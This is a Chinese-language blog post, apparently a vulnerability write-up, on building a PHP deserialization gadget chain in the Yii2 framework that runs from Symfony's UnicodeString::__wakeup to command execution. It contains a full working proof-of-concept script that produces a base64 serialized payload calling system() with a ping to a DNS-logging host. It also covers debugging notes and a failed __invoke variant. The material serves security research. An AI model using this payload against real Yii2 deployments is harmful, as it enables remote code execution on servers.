昨天早上上班前,我无意间看到其它师傅们挖的yii2利用链,其中有一个是我之前忽略了的,就想着赶紧分享给大家,但是昨天恰了个饭(文末有福利),发不了文章,只有今天发了
这是一条利用__wakeup
魔术方法作为入口的利用链,然后我就去看了看,有所收获,所以简单和大家分享一下
问题出在Symfony\Component\String\UnicodeString
,我们看下它的wakeup方法:
public function __wakeup()
{
normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
}
这里调用了normalizer_is_normalized,我一开始没有想到这个函数也会把参数当做字符串处理,也就是说这里也可以利用__toString
进一步利用
结合前文,我们可以很轻松的构造一条利用链出来:
Symfony\Component\String\UnicodeString::__wakeup()->phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()
但是,当我用我生成的payload去测试的时候,直接报错了
我当时也没有去搜这个错误是啥意思,以为是normalizer_is_normalized内部还有其他机制,然后我就去找了一下其他的__toString
方法,但是都报这个错(其它利用链我会在后面提到)
后来去查了一下,原来是php版本问题,PREG_UNMATCHED_AS_NULL这个静态变量只在php7.2以上才有,而我用的是php7.1,所以升级一下,然后测试,结果
又报错了...如下
我去查了一下,这个应该是yii的视图报错了导致无法回显命令执行的结果,所以,我利用dnslog来验证命令是否执行,如下:
可以看到命令成功执行了
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ping -c 4 123.xxx.tech';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace Symfony\Component\String{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class UnicodeString{
protected $string;
public function __construct()
{
$this->string = new See;
}
}
}
namespace{
use Symfony\Component\String\UnicodeString;
// 生成poc
echo base64_encode(serialize(new UnicodeString()));
}
?>
yii2真是一个练习反序列化连挖掘的好靶场,我们可以通过它来练习各种魔术方法在反序列化链构造中的使用
php所有的魔术方法如下:
这里我本打算再利用__invoke
构造一个,我的想法如下:
Symfony\Component\String\UnicodeString::__wakeup()->Symfony\Component\String\LazyString::__toString()-> \Swift_StreamCollector::__invoke()->phpDocumentor\Reflection\DocBlock\Tags\See::__toString()->Faker\Generator::__call() -> yii\rest\IndexAction::run()
你看到这个链可能觉得我这是脱裤子放屁,但是在前面那个链报错的情况下,我才想出了这么一个链,以为可以不报错
我们看下LazyString的toString方法:
public function __toString()
{
if (\is_string($this->value)) {
return $this->value;
}
try {
return $this->value = ($this->value)();
} catch (\Throwable $e) {
...
}
}
可以看到上面代码中有($this->value)()
,我一开始以为这里不就可以利用__invoke
进行利用吗,但是后来发现我天真了,这报错给我安排的明明白白
可以看到,($this->value)()
这种形式是利用不了__invoke
的
简单记录下这个错误,也算是给大家排个坑吧